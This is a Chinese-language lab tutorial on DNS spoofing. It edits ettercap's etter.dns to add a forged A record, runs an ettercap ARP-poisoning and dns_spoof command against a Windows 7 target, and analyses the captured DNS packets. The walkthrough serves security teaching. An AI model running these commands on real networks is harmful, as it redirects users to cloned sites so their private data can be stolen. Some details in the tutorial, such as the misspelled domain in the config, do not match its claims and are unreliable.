DNS欺骗【上】----ettercap实现

一、DNS欺骗原理简介

• DNS欺骗的核心是攻击者通过篡改DNS记录里一条或多条A记录，使用户在访问某站点时，实际访问的是攻击者精心伪造的克隆站点，从而攻击者通过报文嗅探等方式获取用户私密数据的行为。
• 如果攻击者获取了用户用于DNS解析的真实DNS服务器的控制权，就可以通过在DNS服务器里添加一条A记录的行为实现DNS欺骗。
• 如果没有获取DNS控制权，攻击者可以通过伪造DNS服务器、ARP欺骗等手段，使用户在进行DNS解析时，得到被篡改的A记录。今天，我们就通过两个工具的使用和学习来深刻理解DNS欺骗。

二、ettercap实验拓扑图

三、实验过程

1、修改配置文件
ettercap带有一个dns_spoof模块，可以自动做到DNS下毒。我们可以通过修改/etc/ettercap/etter.dns中的记录，来添加恶意的DNS解析A记录。下面内容是添加了一条百度的DNS解析A记录。

[e-mail]:~# tail /etc/ettercap/etter.dns 
###############################################
# little example for TXT records
#
wwww.baiud.com A 10.10.10.136

2、kaili执行命令ettercap
在kali上执行ettercap命令，一方面进行ARP欺骗，另一方面同时进行DNS毒化。同时，我们在win7和kali上抓取DNS报文观察报文内容。

ettercap -T -Q -P dns_spoof -M arp:remote -i eth0 /target ip// /gateway ip//

上条命令中，target ip 是目标的ip，gateway ip是局域网的网关，正确来说应该是DNS服务器的ip，在局域网中大多都会把网关、DNS服务器、DHCP服务器放在一起，实际当前kali主机的DNS解析服务器是在配置文件/etc/resolv.conf中，默认情况是网关。

[e-mail]:~# cat /etc/resolv.conf 
# Generated by NetworkManager
search localdomain
nameserver 10.10.10.2

我们实际在kali上执行的命令为

ettercap -T -Q -P dns_spoof -M arp:remote -i eth0 /10.10.10.166// /10.10.10.2//

如果kali上集成的是ettercap 0.8.2版本，经常会遇到"0 hosts added to the hosts list",“FATAL: ARP poisoning needs a non empty hosts list”，扫描不到host的情况（如下），因此建议实验在集成了ettercap 0.8.3版本的kali2020环境下进行。

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

0 hosts added to the hosts list...

FATAL: ARP poisoning needs a non empty hosts list.

此时，我们在win7上ping域名www.baidu.com得到的解析记录如下图，www.baidu.com已经被解析到了之前写在配置文件/etc/ettercap/etter.dns写好的ip地址10.10.10.136了。

我们在在kali上使用netstat命令查看端口，发现53端口并没有开启，因此ettercap使用dns插件这种方式的dns欺骗，其过程并不监听53端口。同时，使用命令cat /proc/sys/net/ipv4/ip_forward得到值为0，因此，说明此过程也不需要在kali上开启路由转发功能，dns解析和路由转发功能全部通过ettercap软件功能实现。

[e-mail]:~# netstat -anput
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      608/sshd
tcp        0      0 10.10.10.136:22         10.10.10.1:54952        ESTABLISHED 3526/sshd: [e-mail]
tcp6       0      0 :::22                   :::*                    LISTEN      608/sshd
udp        0      0 10.10.10.136:68         10.10.10.254:67         ESTABLISHED 552/NetworkManager
udp        0      0 0.0.0.0:69              0.0.0.0:*                           593/inetutils-inetd

四、抓包分析

1、分析被毒化的DNS记录即www.baidu.com的DNS解析过程。
我们ping www.baiud.com，同时，在win7上抓包，在arp欺骗环境下，我们看到如下情况，报文（点击下载）。
DNS请求报文：
二层包头显示：00:50:56:2f:46:1e(win7)---->00:0c:29:95:cb:7d(kali)
三层ip报文显示：10.10.10.166(win7)---->10.10.10.2(网关)的报文

再来查看DNS响应报文内容：
二层包头显示：00:0c:29:95:cb:7d(kali)---->00:50:56:2f:46:1e(win7)
三层包头显示：10.10.10.2(网关)---->10.10.10.166(win7)

综上得出，上述过程只是一个DNS的递归查询（如下图），win7从kali的DNS记录中查询得到百度的A记录，DNS报文在局域网中只进行了二层的通讯，三层ip报文实际上并没有起任何作用。

2、没有毒化时候的DNS解析过程
我们以www.jd.com为例，我们ping一下www.jd.com，看看此时DNS报文是如何请求的。下图可以看到win7发出了两个DNS请求报文，收到了一个响应报文，我们来逐个查看。
第一个请求报文（图中序号3）的包头是：
二层包头显示：00:50:56:2f:46:1e(win7)---->00:0c:29:95:cb:7d(kali)
三层包头显示：10.10.10.166(win7)---->10.10.10.2(网关)的报文。

第二个DNS请求报文（途中序号4）包头如下图：
二层包头显示：00:0c:29:95:cb:7d(kali)---->00:50:56:fb:a5:21(网关)
三层包头显示：10.10.10.166(win7)---->10.10.10.2(网关)的报文。

第三个DNS报文（响应）如下（图中序号5）
二层包头显示：00:50:56:fb:a5:21(网关)---->00:0c:29:95:cb:7d(kali)
三层包头显示：10.10.10.2(网关)---->10.10.10.166(win7)

第四个DNS报文（响应）如下（图中序号6）
二层包头显示：00:0c:29:95:cb:7d(kali)---->00:50:56:2f:46:1e(win7)
三层包头显示：10.10.10.2(网关)---->10.10.10.166(win7)

由于在kali上抓取的报文与win7上报文完全相同，我们就不做重复分析，报文下载地址（点击下载）。由上述过程，我们可以看到，请求解析未毒化的www.jd.com的DNS报文，实际上是一次标准的DNS迭代查询过程，如下图所示。

3、kali上修改dns服务器为114.114.114.114

[e-mail]:~# cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 114.114.114.114

此时按照上面过程抓包报文如下

由上图可知，kali端修改nameserver对DNS请求过程没有影响，与上面完全相同。
4、一些特例
我在一次抓取非毒化的过程时，还遇到了如下图情况，可能由于在一个局域网内，DNS响应包直接通过二层协议进行了通讯，报文（点击下载）。